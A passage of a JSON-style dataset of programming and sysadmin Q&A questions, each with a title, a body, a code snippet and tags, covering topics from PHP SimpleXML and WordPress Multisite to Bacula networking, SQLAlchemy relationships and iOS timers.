they're implementation this.\n", "my_enging/config/routes.rb", "ruby-on-rails ruby-
on-rails-3 rails-engines"], "5882851": ["Accessing XML Elements with PHP that have
two Keys and no value", "Having trouble understanding how I am supposed to use PHP
to access the following section of an XML response from the Amazon Product
Advertising API using SimpleXML if possible. Replaced a few bits of data with
'REDACTED' in case of privacy/security concerns. I fully understand how to access
elements that are of the format (name value /name) but not how to handle the
following section of the response. Thanks for any help.\n\n", "-<Arguments>\
n<Argument Value=\"ItemLookup\" Name=\"Operation\"/>\n<Argument
Value=\"AWSECommerceService\" Name=\"Service\"/>\n<Argument Value=\"REDACTED\"
Name=\"Signature\"/>\n<Argument Value=\"REDACTED\" Name=\"AssociateTag\"/>\
n<Argument Value=\"2009-03-31\" Name=\"Version\"/>\n<Argument Value=\"B00008OE6I\"
Name=\"ItemId\"/>\n<Argument Value=\"REDACTED\" Name=\"AWSAccessKeyId\"/>\
n<Argument Value=\"2011-12-07T20:19:12.000Z\" Name=\"Timestamp\"/>\n<Argument
Value=\"Large\" Name=\"ResponseGroup\"/>\n</Arguments>\n", "php xml api simplexml
amazon"], "2348584": ["Can Easymock handle BLOB?", "I am trying to create a mock
object of OraccleResultSet and then in expect use the mock object. It gives the
error for source code (see below):\n\nThe error is java.lang.ClassCastException:
$Proxy4\n at com.xyz.abc.data.DatabaseUtil.getBLOBList(DatabaseUtil.java:181)\
nAny clue?\n", "OracleResultSet oracleResultSetMock =
EasyMock.createMock(OracleResultSet.class);\
nexpect(oracleResultSetMock.getBLOB(\"REPORT_DATA\")).andReturn(blobValue).anyTimes
();\n", "junit blob easymock"], "2204905": ["javafx - how to disable events fired
not from the user", "i have a little problem with javafx. i added a change listener
like this:\n\nnow to the problem: if i change an page item like this:\n\nthe event
gets also(as it get by selecting something with the mouse or key) fired. is there a
way to disable the event firing or another way?\ni need the event only, if the
element got selected by the user and not if i change it with the setValue()
function...\nperhaps consuming the event, but i don\u00b4t know what kind of event
this would be.\nthanks in advance!!!\n", "private final ChangeListener<String>
pageItemSelected = new ChangeListener<String>()\n{\n@Override\npublic void
changed(ObservableValue<? extends String> observable, String oldValue, String
newValue){\n pageGotSelected(newValue);\n}\n};\n", "events javafx"], "136960":
["Shared Content but \"Updatable\" Through the Main Site", "I have been doing quite
a lot of research the past week, and have not been able to find a solid answer that
fixes my problem. So, I decided to come here to ask to see if anyone knows of how
to help with my problem.\nI'm going to working on a project using WordPress
Multisite that will allow users to register for a site and be able to re-brand the
content that we will be giving them as their own (ie: the company I will be working
with has a slew of realtor information that they want to give away - for a fee - to
other realtors and allow them to brand it with their logo and contact info).\nSo,
it would be easy to create a template site with all the content already pre-loaded.
When MS creates a new site, it grabs the template and creates the new site using
the template.\nHowever, I need to be able to modify this content across all sites.
We will have approximately 50
pages that need to be \"shared\" throughout all these sites, and if I need to make
a change, I need to change across the board. I have tried using this\n\nBut that
will link everything to the main site (which defeats the purpose of paying to have
the content branded as your own). I have found plugins that allow you to broadcast
posts to all your sites, but this is content that will be preloaded.\nWith all of
that said, I am hoping someone around here has done this before and is willing to
share some expertise on the matter. Thanks for taking a look at this!\n\nEDIT #1\
nI've done my research through the WordPress support forums as well as here at
StackExchange.\nIs there a way to share content amongst wordpress sites :: This
option doesn't really work for me - I have to be able to charge for users to set up
their new sites as well as give them the option to add their domain name to their
site, which is why Multisite is the way I believe I need to go.\nRe-Blogging - WP
MS Support Forum :: This is what I have found the most of - ways to re-blog content
across all platforms. If I needed to shoot out posts to everyone, that would be
great. However, this is not what I would like to accomplish.\nExactly what I am
looking for :: But sadly there isn't an answer.\nI did a search through WordPress
Answers of variations of \"multisite content share\" and found nothing (other than
#3) that pertained to my topic (or what I am looking for in general)\n\nEDIT #2\
nSo, after doing some more research yesterday, I found ThreeWP Broadcast. It
happens to do quite a lot of what is actually needed, but hid itself during my
first few days of research. It allows you to broadcast pages throughout all
subsites as well as send out updates to those pages as well. Awesome! So, a new
question arises. My client doesn't want the end users editing their content
(copyright and legal reasons). So, I wrote some code that automatically appends
some JS to the top of the Edit Page in the backend:\n\n} add_action('admin_head',
'hidePublishingNow');\nBasically, when the post.php is loaded within the admin
panel, it checks to see if the current page being edited is a page that has been
connected via Broadcasting. If it has been connected, the JS is loaded and removes
all elements to that page and replaces it with a warning. The end user will never
see the content in the editor or be able to Update the page.\nThat is working well.
If this is what I have to go off of, that's great - it's the best solution I have
found yet. What I would love to do would be to take control of the main
wp-admin/edit.php?post_type=page page (this is where the admin panel lists out all
the pages available for editing). It would be great to intercept a WP action when
it is making that list and strip out specific pages while it is creating that list.
Still doing research on it to see if that is even possible. I just wanted to update
my progress on here in case anyone has a word of advice, or down the road if
someone else is running into this same issue.\n\n", "<?php switch_to_blog(1); ?>\
nSome code that displays the menu of the Main Blog\n<?php restore_current_blog(); ?
>\n", "multisite pages templates sharing"], "3273544": ["What process can be used
to compare elements from two separate lists?", "I need to first access and then
compare elements from two separate lists and based on whichever element has the
smaller value, remove the lesser element and assign it a position within a third
list. How do I accomplish this? \n", "", "java list compare"], "266804":
["Accessing JPEG EXIF rotation data in JavaScript on the client side", "I'd like to
rotate photos based on their orignal rotation, as set by the camera in JPEG EXIF
image data. The trick is that all this should happen in the browser, using
JavaScript and .\nHow could JavaScript access JPEG, a local file API object, local
or remote , EXIF data to read the rotation information?\nServer-side answers are
not OK; I am looking for a client-side solution. \n", "<canvas>", "javascript jpeg
exif html5-canvas"], "3147049": ["static properties and instances", "What will
happen if I create a class with a property and create two instances of it?\nWill
the property be shared between both instances and not be duplicated?\n", "static",
"php oop static instance"], "4911436": ["Unable to telnet to a Windows 7 client on
port 9102 while setting up Bacula", "I'm trying to setup Bacula for all my work
machines. Most of my machines are Linux (Ubuntu) based and I have successfully
managed to setup Bacula on those machines. However, I do have several Windows 7
machines as well and I'm unable to connect to those machines. The director and
storage daemon are hosted on a Ubuntu Maverick 10.10 machine. I have opened the
relevant ports (9101-9103) on the firewall of my Windows 7 machines. However, I'm
still unable to connect (telnet) to the machine that hosts the director daemon on
port 9101. The connection from the Ubuntu machine to the windows client on port
9102 doesn't work either. However, the connection is made if I telnet to the
machine using port 23, after making the appropriate firewall changes. All the
machines are in the same subnet and I can ping to all the machines.\nAny help on
this matter is greatly appreciated. \nEdit:\nSo I've fixed the firewall issue
and now I'm able to telnet between the server and the client. However, I'm still
having trouble authenticating between the server and the client. The error I get on
the server side is as following:\n\nMy bconsole.conf file on the windows 7 client
machine: \n\nMy bacula-fd.conf file on the client is as follows: \n\nThis is what
my /etc/bacula/bacula-dir.conf on the server is shown below. Note that some
unnecessary information is removed. \n\nFinally, my /etc/bacula/clients/MY-CLIENT-
HOSTNAME.CONF is shown below. Again, some unnecessary information is omitted.\n\
n*Note that I've used the same \"my_secret_password\" in all the files.\nI'll be
fantastically glad if someone could tell me what I'm doing wrong!!!\n", "10-May
12:00 mydir-dir JobId 6395: Start Backup JobId 6395, Job=server-bkp.2013-05-
10_12.00.00_13 \n10-May 12:00 mydir-dir JobId 6395: Using Device \"RAID_Device\"
\n10-May 12:00 mydir-dir JobId 0: Fatal error: Unable to authenticate with File
daemon at \"myserver.ip.address:9102\". Possible causes: \nPasswords or names not
the same or \nMaximum Concurrent Jobs exceeded on the FD or \nFD networking
messed up (restart daemon). \nPlease see
http://www.bacula.org/en/rel-manual/Bacula_Freque_Asked_Questi.html#SECTION00376000
0000000000000 for help. \n*q \nroot@cosmo:~# telnet my-client-hostname.domain
9102 \nTrying myclient.ip.address... \nConnected to my-client-hostname.domain. \
nEscape character is '^]'. \n^[^[ \nConnection closed by foreign host. \n",
"windows networking telnet bacula"], "3293158": ["Flex 4.5: Custom component
doesn't get visible in custom ItemRenderer", "I'm developing a dynamic ItemRenderer
to edition in line for Spark DataGrid.\nWith the Click event on Edit button (first
column), I'm refreshing the cell's row using grid.invalidateCell(x,y); inside this
custom ItemRenderer, in the function prepare, I'm evaluating an 'editing' dynamic
property to hide/show (.visible/.includeInLayout) the default Label or Control for
edition; I'm not using actually the itemEditor DataGrid's operation, just
simulating this functionality.\nEverything goes well with standard spark components
for edition: TextInput, ComboBox, etc, but custom components (extended from
SkinnableContainer) doesn't get visible, just randomically on first row sometimes.\
nIs there any specific interface that custom components must implement to work
inside an ItemRenderer??\n", "", "datagrid flex4.5 itemrenderer custom-component"],
"1058451": ["Selenium Automation", "Is there any way in Selenium ide, so that we
get list and handlers for all controls provided on any page ? \nSo if we get that
we can test that one by one using RC and it'll greatly helpful when there are more
then 40 controls on page. In that case it'll become very tiresome to record for
all.\n", "", "selenium selenium-rc selenium-ide"], "1268660": ["Is there a formula
describing the relationship between bit error rate, frame size, and normalised
effective throughput?", "Is there a formula describing the relationship between bit
error rate, frame size, and normalised effective throughput?\nto clarify,
normalised effective throughput is the same as channel utilisation.\nso far I
have \"throughput = 1/(1+2a)\" where \"a = tprop*R/L\" (tprop=propagation time or
delay,R = bit rate), however I am unsure how bit error rate fits into this - does
bit error rate have much to do with bit rate.\nAny help/pointers/where to get help
would be appreciated. are there any other forums that I should post this on?\n",
"", "size throughput"], "5384756": ["Is anybody using the Specter BDD Framework?",
"I was reading the example chapter from the book by Ayende and on the website of
the Boo language I saw a reference to the Specter BDD Framework.\nI am wondering if
anybody is using it in their project, how that works out and if there are more
examples and/or suggested readings.\nJust in case you are wondering, I'm a C#
developer and so I plan to use it in a C#/.NET environment.\n", "", "c# .net bdd
boo"], "1734868": ["Connectivity issues when setting guest MAC to the same as the
host MAC on ESXi 5", "I am using VMWare ESXi 5.\nThe ESXi 5 host has a NIC with the
MAC XXXX:XXXX:XXXX\nI have created a console port for that card.\nI have added a
new guest named COMP and manually assigned the MAC address of the physical NIC
(XXXX:XXXX:XXXX - same as the NIC of the ESXi server).\nNow COMP reports it has a
NIC with IP Y.Y.Y.Y, same IP in VMWare port definition.\nCOMP will not respond to
pings.\nWhen I logged in to the ESXi host via SSH and
tried to ping other computers connected to it, COMP responded to pings for the
rest of the day. After a pingless night (or no communication to COMP) - COMP
returned to the point of not responding to pings again.\n\nWhat's happening there?\
nIS there a way to resolve this issue such that COMP will always respond to pings?\
n\n\nHere are the full details: I am trying to test driver setup of a NIC I
personally develop.\nUp until now I had to install a new machine for the test.
Lately I encountered VMware, and I thought it can be set up to virtualize a machine
such that it's NIC behaves just like the physical NIC of the virtual machine.\nThis
question led me to believe this setup was possible: Can't ping host from vmware
guest using bridged networking.\n", "", "networking vmware-esxi mac-address"],
"5002901": ["Offsite backup of Terabytes of data", "I'm looking for a way to create
an offsite backup of around 8TB of data. I've currently broken the data down into
2-4TB file systems and I'm using ShadowProtect to backup the data from an SBS 2003
server to a Windows 2003 backup server using a weekly full backup, and nightly
incrementals.\nI'm not very happy with this solution for a bunch of reasons. \n\
nIt takes too long to backup.\nTo hold more than a weeks worth of backups requires
tons of space. \nOffsite backups to external hdds would require too many disks,
and too much time. \nOffsite backups over the internet would take too much
bandwidth.\n\nWhat I'm looking for if possible is someway to have a local backup
server to house many snapshots without storing duplicate data like faubackup seems
to be able to do. As well I would like to be able to span the backups that are made
across a set of external disks, without duplicate data because the filesystems are
bigger than I can fit on a single disk.\nCorrect me if I'm wrong but as far as I
can tell it's a bit of an impossible situation to span the new data across more
filesystems than faubackup itself uses due to it's use of hardlinks.\nI've also
been thinking about using openfiler some way to achieve the same goals, but haven't
thought of a way yet.\nHow do other people cope with offsite backups of such large
amounts of data.\nedit:\nFor a bit more background information, we are a relatively
small (about 15 employees) geology company where we basically take huge data sets,
and make them readable. Projects often run into hundreds of Gigs. In spite of the
importance of offsite backups, I will have trouble getting the money required to
buy a tape autoloader that will do the kind of data we are looking at. I've tried
and was basically told that there must be another way and I have to find it.\nWe
have two servers. An SBS2003 server and a Windows 2003 R2 server which is used as a
backup server. Both machines have a 20TB RAID6 array which houses our data. In any
given day as well as regular stuff there will be minor modifications to many very
large files.\n", "", "windows backup san"], "4386760": ["TikZ: Handdrawn
boxes/arrows/circles for flowcharts", "I saw the following style of boxes in
Aditya's presentation as he mentioned it during his TeXTalk. I am almost positive
that Aditya is using for this. \nBut I was wondering how would one go about doing
this in . The cool thing about the boxes and arrows is that they keep changing with
every new instance. Some sort of randomisation is going on. \n \n", "Metafun",
"tikz-pgf fun"], "921741": ["How to access the ViewModel for a View", "Let's say I
have a simple View that displays a bit of text. The text comes from the View's
ViewModel via a string property that is data bound. I would like to be able to set
the ViewModel's string by multiple locations in the application. \nWhat is the best
practise for getting the instance of the ViewModel at the various points in my
application?\nI could make the ViewModel singleton but this didn't feel right.\nAny
suggestions?\n", "", "wpf mvvm viewmodel"], "4868858": ["How to change background
color of active accordion segment?", "How to change background color of active
accordion segment?\nI've created an accordion using following code:\n\nThis works
great - However I would like my toggle-title's background color to change when it's
active.\nThis is the HTML i'm currently using:\n\nAnd this is my CSS:\n\nHelp would
be very welcome!\nThanks in advance,\nJan\n", "$(document).ready(function(){\n$
(\".toggle-content\").hide();\n$(\".toggle-title\").click(function(){\n$
(this).next(\".toggle-content\").slideToggle(\"normal\");\n});\n});\n", "jquery
colors background accordion"], "1840481": ["How do I set multiple input types in an
EditText on Android?", "I am trying to create an with auto-capitalization and
auto-correction implemented. I have manually figured out how to add s to allow
auto-capitalization, though this only works after the first letter is typed, and I
have had no luck with auto correction (I tried to create an InputFilter that used ,
but I'm not sure how all that works). Ideally, I could just use
EditText.setInputType(...) to handle everything, but so far this has not worked. Is
there a way to achieve this? My failed attempt is shown below (I just get normal
input).\n\nPlease note, I am only interested in solutions for creating this in
code - not via XML.\nEdit\nI found sound new documentation describing
TextKeyListener, however after trying to use this:\n\nand using @farble1670's idea
of using , so as not to affect the s, there is still no change to the text.\n",
"EditText", "android edittext bitwise-operators input-filtering"], "5118267":
["Windows 2008 Server R2 NAT problems with VLANs", "My Windows 2008 server R2 has
two NICs. First NIC is connected to my ISP (IP assigned with DHCP). Second NIC is
dedicated to LAN communication and is connected to HP ProCurve switch \"trunk\"
port with multiple VLANs (Vlan7 and Vlan8).\nConfiguration of these card are:\
nFirst NIC: All settings are from DHCP. (ISPs NIC)\nSeconf NIC (Local Area
connections):\n -LAN7: 192.168.7.1 Mask: 255.255.255.0 Gateway: blank\n -LAN8:
192.168.8.1 Mask: 255.255.255.0 Gateway: blank\n(Pings from VLAN7 and VLAN8
workstations to server are successful, with such network configurations: PC1/ IP:
192.168.7.100 Mask: 255.255.255.0 Gateway: 192.168.7.1, etc. )\nAfter enabling RRAS
on Windows 2008 server with NAT option, I cannot get any of VLANs (VLAN7, VLAN8)
gain access to internet (looks like Windows does not know how to translate address
to send traffic to outgoing interface).\nWhen connecting NIC2 to simple access port
on switch, in this case removing VLANs, then NAT works great. \nLooking for help, \
nthanks.\nJ\u0101nis\n", "", "windows-server-2008 networking nat vlan"], "4397155":
["Choosing combo box item with AppleScript doesn't trigger item action", "I'm
trying to use AppleScript to click an item in a select box.\n\nWhen clicking the
'More...' item manually with the mouse a standard OSX file chooser dialog opens up,
but when I try to do it using AppleScript, the 'More...' item shows up as the
chosen item for the select box, but no dialog shows up.\nSo far I've tried...
(element names came from Automator recorder)\n\n... and now I'm out of ideas.\n",
"tell application \"System Events\"\n\n click static text 1 of window 1 of
application process \"DYMO Word Addin\"\n -- combo box arrow\n click UI
Element 1 of combo box 2 of group 1 of window 1 of application process \"DYMO Word
Addin\"\n\n set labelsList to (list 1 of scroll area 1 of combo box 2 of group 1
of window 1 of application process \"DYMO Word Addin\")\n set numLabelsInList to
(count text fields of labelsList)\n set theTextField to (text field
numLabelsInList of labelsList)\n\n if numLabelsInList > 1 then\n\n
repeat with z from 1 to (numLabelsInList - 1)\n key code 125 --
down arrow\n end repeat\n\n end if\n\n -- stuff I've tried\n\n
click theTextField\n keystroke return\n key code 36 -- return\n set
focused of theTextField to true\n set value of attribute \"AXFocused\" of
theTextField to true\n perform action \"AXConfirm\" of theTextField\n\nend tell\
n", "applescript"], "4872973": ["Installing php-hash on SUSE 10.1", "I need the PHP
function hash_hmac which is not part of my distribution on my virtual server
running SUSE 10.1.\nTrying to install it with yast2 --install php-hash leads to the
following message:\n\nDoes anybody know what to do to set these installation
sources in order to install php-hash?\n", "No installation source is defined.\nOnly
installed packages are displayed.\n", "installation sles package"], "5002900":
["std::map standard allocator performance versus block allocator", "I've read on a
C++ optimization cookbook that the standard allocator for STL containers such as
std::list, std::set, std::multi_set, std::map, e std::multi_map can be replaced by
a more performant block allocator.\nA block allocator has higher performance, low
fragmentation and efficient data caching.\nI've found on the web the FSBAllocator
which claims to be faster than the
standard.\nhttp://warp.povusers.org/FSBAllocator/\nI've tried it with std::map and
found the seems to be faster indeed, but my question is how can be the STL
implementation be so slower than a specific allocator and what are the drawbacks of
another allocator than the standard, in terms of both portability and robustness?
My code must compile on a variety of architectures (win32, osx, linux).\nDo someone
had experience with that kind of fixed size block allocator?\n", "", "c++
performance memory-management stdmap allocator"], "1493378": ["cakephp select box
with recursive 2", "I have , each tarif and also . So basically prices change
when user's group is changed - doesn't matter that much.\nThe view looks like
this \n\nAnd I need the input to display as a select, where each option displays
group name and
has its as value. The user_group_id values are fine, but the are displayed in a
text input. I've tried and but both of them provided select boxes with no
options. \nHow do I set the input to do what I want?\nThanks\n", "Tarifs", "php
cakephp-1.3 selectbox"], "4437805": ["Include PHP script in all cPanel accounts?",
"Is it possible to include a PHP script to all cPanel accounts in a server without
the script residing in each user's home directory?\nFor example resides somewhere
in the server:\n\nNow and (separate cPanel accounts) will have available to
them?\n", "global.php", "php apache nginx webserver cpanel"], "5961947":
["Launch \"background\" Windows application", "On Windows/.NET can you think of a
way of somehow launching an existing application in the background so the user can
not see it but I can interact with it with regular API calls (clicking buttons and
such)? \nThis would come in really useful for \"wrapping\" old applications that I
cannot modify.\n", "", "c# windows winapi"], "2807002": ["PresentingViewController
being set to nil", "I have three view controllers, a, b, and c. I start on a, and
present b. If the user is logged out, c is presented. Otherwise I stay on b, where
the below code snippet is from. If I only go from a to b, is setting to a and all
is well. If c is presented, once I dismiss c, is returned and I am stuck on b. \
n\n", "presentingViewController", "ios uiviewcontroller uinavigationcontroller
modal"], "2152005": ["C# - Using foreach to loop through method arguments", "Is it
possible to loop through a function arguments to check if any of them is null(or
check them by another custom function)?\nsomething like this:\n\nwhat is the
correct keyword for \"argus\"? I know that this is possible by some more if
statement but looking for a faster way...\n", "public void test (string arg1,
string arg2, object arg3, DataTable arg4)\n{\n foreach (var item in argus)\n
{\n if( item == null)\n {\n throw;\n
}\n }\n // do the rest...\n}\n", "c# .net foreach"], "5657519": ["Using
Trusted Root CA with HttpWebRequest without installing cert", "I am using
HttpWebRequest to communicate with a server using a client certificate.\nThis works
fine when the servers self signed root CA is installed in my dev machine
certificate store. However, it does not work when running from the web server
(\"The underlying connection was closed: Could not establish trust relationship for
the SSL/TLS secure channel.\" error).\nI understand that the root CA needs to be
present for this to work. Is there any way that I can tell the specific instance of
HttpWebRequest to trust the root CA (using a copy of the certificate in the
application folder) without having the certificate installed on the server?\nThis
would mean that the application would work on any web server without the
certificate having to be installed.\nMy current code is below:\n\nI guess I was
hoping there might be something like:\n\nIf this is not possible, is there a way to
check for the presence of the certificate in the server store and install it
programatically?\nMany thanks for any help.\n", "X509Certificate2 clientCert = new
X509Certificate2();\n\nclientCert.Import(Server.MapPath(\"~/certificates\")
+ \"\\\\system.pfx\", \"password\", X509KeyStorageFlags.MachineKeySet);\n\n\
nHttpWebRequest request =
(HttpWebRequest)HttpWebRequest.Create(\"https://example.net/test.aspx\");\n\
nrequest.ClientCertificates.Add(clientCert);\nrequest.Method =
WebRequestMethods.Http.Get;\nrequest.ContentType = \"application/x-www-form-
urlencoded\";\nHttpWebResponse response = (HttpWebResponse)request.GetResponse();\
n", "asp.net ssl httpwebrequest x509certificate"], "886100": ["How do you find the
size of an Android App on the device?", "I need to find the size of a JAR that I
added to an application, and I want to test the size with it installed on the
device, and without, to get the true size it adds when running on an android
device. Any help is much appreciated.\nThanks!\n", "", "android file size apps"],
"5102276": ["Preview a DataTemplate without x:Key using Expression Blend SampleData
bound to a ListBox", "I have the following constellation in my XAML:\n\nThe
following DataTemplate is applied via the DataType:\n\nAs explained here in
the \"Remarks\" section, an x:Key is generated implicitly and \"the DataTemplate
gets applied automatically to data objects of that type\".\nInside the
DataTemplate, several simple properties of the list item are bound. In this excerpt
from my SampleData, you will find the EditCaption property referenced above - it's
a simple string, and the DataContext and ItemsSource of the ListBox should fit:\n\
nThe DataTemplate is applied correctly in the preview, if I reference it via x:Key.
This is not possible in this case, because the list contains different types of
objects, so I have to use the implicit x:Key to apply a specific DataTemplate
according to the object type.\nSo there's no problem at runtime with the data from
my VM, but at design time\n\nExpression Blend shows the SampleData, but without
applying the DataTemplate when I look at the whole page\nOn the other hand, when I
go to Resources and edit the DataTemplate, I see the layout without the
SampleData.\n\nI've tried some things out and looked for a solution in the forum,
but no one seems to have had this special constellation. Can someone help me
please?\n", "<ListBox x:Uid=\"attributesListBox\" \n DataContext=\"{Binding
Source={StaticResource EditFeatureWithForeignKeyAttributesViewModel}}\"
ItemsSource=\"{Binding Path=Attributes}\" \n d:DataContext=\"{d:DesignData
/SampleData/BlendableAttributesSampleData.xaml}\">\n</ListBox>\n", "xaml
datatemplate expression-blend sample-data"], "3933517": ["Should I put effort on
learning Matlab if I already know and use Numpy/Scipy", "I use and love Numpy and
Scipy, but in one of the fields I'm involved (biomechanics research), MATLAB
dominates the scene.\nI believe this domination is pretty much due to tradition,
similar to what happens with Windows or Office, but perhaps there is some intrinsic
reason to prefer one over another.\nCurrently I can solve most problems of data
analysis with Numpy/Scipy, but I see the awkwardness in the faces of researchers
when I mention it.\nThe real question is: Is there a REAL NECESSITY to learn Matlab
if I already know Numpy/Scipy?\n", "", "matlab numpy scipy"], "4432211": ["How to
include xsi type in serialized xml?", "I'm using simple xml library to serialize an
object of class shown below\n\nSerializing generates\n\nbut a service that I'm
using (which I don't have any control over, unfortunately) requires this format\n\
nThe two things attrubutes that are missing are\n\n for FooProperty element\n for
FooProperty element; I know the children need to specify only if their xmlns is
different from that of their parent but this service I have to reference requires
that children specify xmlns explicitly even if it's the same as their parents'. \n\
nIs either of the about two possible with simple-xml ?\nThanks\n", "@Root\
n@Namespace(reference = \"FooNamespace\")\nclass Foo\n{\n private final int
fooProperty; \n Foo(int fooProperty)\n {\n this.fooProperty =
fooProperty;\n }\n\n @Element\n @Namespace(reference = \"FooNamespace\")\n
int getFooProperty()\n {\n return fooProperty;\n }\n}\n", "java xml-
serialization simple-framework"], "842790": ["How can I prevent children from being
re-created in a SQLAlchemy one to many relationship?", "I am using Python 2.6.6 and
SQLAlchemy 0.6.6 to handle a one to many relationship in my database, and am unsure
how to prevent SQLAlchemy from adding new child records in the case where similar
data already exists.\nDatabase code:\n\nExample script:\n\nThe first time I run the
example script, the following appears in the database (as expected):\n\nIf I run
the example script again though, you can see that the existing metadata record's
author ids have been set to null and new records have been inserted:\n\nI don't
find this surprising, but am wondering if there is a nice way to be able to
communicate to SQLAlchemy that it should only insert/modify/delete author metadata
rows if the new list of metadata differs from the existing list.\n", "from
sqlalchemy import *\nfrom sqlalchemy.orm import backref, relationship,
sessionmaker, create_session\nfrom sqlalchemy.ext.declarative import
declarative_base\n\nBase = declarative_base()\n\n# Parent table, no foreign key.\
nclass Author(Base):\n __tablename__ = 'authors'\n\n id = Column(Integer,
primary_key=True)\n username = Column(String)\n author_metadata =
relationship('AuthorMetadata', backref='author')\n\n# Child table, many records
with same author_id.\nclass AuthorMetadata(Base):\n __tablename__ =
'author_metadata'\n\n id = Column(Integer, primary_key=True)\n author_id =
Column(Integer, ForeignKey('authors.id'))\n metakey = Column(String)\n
metavalue = Column(Text)\n", "python sqlalchemy"], "4104669": ["Silverlight
DataGrid.BeginEdit() doesn't put the cell in edit mode", "I have a requirement
where I want to add a new blank row I have filled in a row in the grid and it also
needs to be in edit mode where I can start typing straight away after reaching on
the cell by tab.\nFor this I tried to use the BeginEdit function of the datagrid
but it doesn't seem to work at all.\nHere is my code: MainPage.xaml\n\n\
nMainPage.xaml.cs\n\nMainViewModel.cs\n\nThis test app is done using MVVM
Lighttoolkit project template. Please do let me know if you need any more info.\
nCheers---Jag\n", "<UserControl x:Class=\"DataGridTest.MainPage\"\n
xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n
xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n
xmlns:d=\"http://schemas.microsoft.com/expression/blend/2008\"\n
xmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\"\n
mc:Ignorable=\"d\"\n Height=\"192\"\n Width=\"356\"\n
DataContext=\"{Binding Main, Source={StaticResource Locator}}\"
xmlns:sdk=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation/sdk\">\n\
n<UserControl.Resources>\n <ResourceDictionary>\n
<ResourceDictionary.MergedDictionaries>\n <ResourceDictionary
Source=\"Skins/MainSkin.xaml\" />\n
</ResourceDictionary.MergedDictionaries>\n
</ResourceDictionary>\n</UserControl.Resources>\n\n<Grid x:Name=\"LayoutRoot\">\n\n
<TextBlock FontSize=\"36\"\n FontWeight=\"Bold\"\n
Foreground=\"Purple\"\n Text=\"{Binding Welcome}\"\n
VerticalAlignment=\"Center\"\n HorizontalAlignment=\"Center\"\n
TextWrapping=\"Wrap\" />\n <sdk:DataGrid AutoGenerateColumns=\"True\"
Height=\"100\" HorizontalAlignment=\"Left\" Margin=\"12,51,0,0\" Name=\"dgTest\"
VerticalAlignment=\"Top\" Width=\"332\" ItemsSource=\"{Binding
DataGridItems,Mode=TwoWay}\" />\n</Grid>\n", "mvvm datagrid silverlight-4.0 mvvm-
light"], "2421178": ["ColdFusion Web-service Timeout", "I have to call a third-
party Web service that frequently does not respond. I tried to timeout my requests,
however, the timeout does not appear to make any difference. Can you share what I
may be doing wrong?\nSample Code\n\nThread Stack Trace\nThis is where the request
waiting for the Web-service will hang waiting for a response. The thread can not be
killed with Fusion Reactor.\n\nThanks.\n", "ws =
createObject(\"webservice\", \"http://domain.com/webservice?wsdl\",{timeout=25});\
n", "web-services coldfusion"], "3921766": ["TSQLConnection to a user chosen DSN at
runtime", "I want to use dbExpress and a TSQLConnection object to allow the user of
my application to connect to any of their ODBC dsn and run a SQL query against it.\
nI have it so the user can select a DSN, (by DSN i mean all the configured data
sources listed in control panel - administrative tools - Data Sources (ODBC)), but
once they have selected one \nI am not sure how to configure the TSQLConnection
object.\nI think I need to set :\nSQLCon.connectionName\nSQLCon.driverName\
nSQLCon.getDriverFunc\nIn the registry settings for a given DSN I have a 'DRIVER'
entry that points to a DLL but nothing to indicate the 'getDriverFunc' value.\nDoes
anyone have any advice or an example of setting up a TSQLConnection (or any other
delphi db connection) to an ODBC DSN at runtime ?\nThanks\n", "", "sql delphi odbc
dbexpress"], "5237074": ["Trying to read Shoutcast 2.X Stats via PHP/SimpleXML", "\
nPossible Duplicate:\nA simple program to CRUD node and node values of xml file \n\
nI run a shoutcast station and we recently upgraded to the Shoutcast 2.X DNAS
server. Since it passes its stats via XML, the script we previously used to
read \"song now playing\" doesn't work any longer. I'm a novice with PHP, but
discovered the PHP5.X \"SimpleXML\" function.. I figured out what I thought might
work to read just the \"songtitle\" element returned from
\"http://localhost:8000/stats?sid=1\". (sc_trans/sc_serv are both on the same
server). When I run the following script via the webbrowser, I get an XML parsing
error/fatal exception: string cannot be parsed as xml. If I view the page with a
webbrowser, I get a page showing the xml and saying \"there is no style-
information, the document tree is shown below\".. The script is as follows:\n\nThe
supposedly XML returned when I look via a webbrowser is:\n\nAny ideas? As I said,
I'm a rank noobie to PHP/XML.. \nThanks\nDave\n", "<?php\n\n$url =
\"http://localhost:8000/stats?sid=1\";\n$result = $url.urlencode($url);\n$process =
curl_init($result);\n\ncurl_setopt($process, CURLOPT_HEADER, 0);\
ncurl_setopt($process, CURLOPT_POST, 1);\ncurl_setopt($process,
CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($process, CURLOPT_CONNECTTIMEOUT, 1);\
n$resp = curl_exec($process);\ncurl_close($process);\nheader('Content-Type:
text/xml');\n$xml = new SimpleXMLElement($resp);\n$currentsong = $xml-
>shoutcastserver->songtitle;\necho $currentsong;\n\n?>\n", "php xml simplexml"],
"3529752": ["Find out why textbox has lost focus", "A textbox looses focus and I
don't know why. How can I find out the reason of why the focus is lost? I've tried
listening to TextBox.LostFocus event, but it's parameters don't seem to give me any
valuable information about the cause.\n", "", "wpf events focus"], "3376438": ["iOS
NSTimer firing twice", "Hi I'm trying to use NSTimer to create a countdown which
and view this using a label. the problem is the label goes down in two's and i
don't know why. any ideas?\nheres my code\n\n", " - (void)viewDidLoad\n {\n
NSLog(@\"%@\", self.chosenTime);\n [self startGame];\n [super
viewDidLoad];\n\n NSString *timeString = self.chosenTime;\n self.timer
= [timeString intValue];\n self.countdown.text = timeString;\n // Do
any additional setup after loading the view.\n }\n\n - (void)startGame\n
{\n [self introCountdown];\n [self
performSelector:@selector(goAnimation) withObject:nil afterDelay:3.0];\n
NSString *timeString = self.chosenTime;\n self.timer = [timeString
intValue];\n [self performSelector:@selector(startCountdown) withObject:nil
afterDelay:4.0];\n }\n\n - (void)startCountdown\n {\n
//self.countdownTimer = [NSTimer timerWithTimeInterval:1 target:self
selector:@selector(decrementTimer:) userInfo:nil repeats:YES];\n
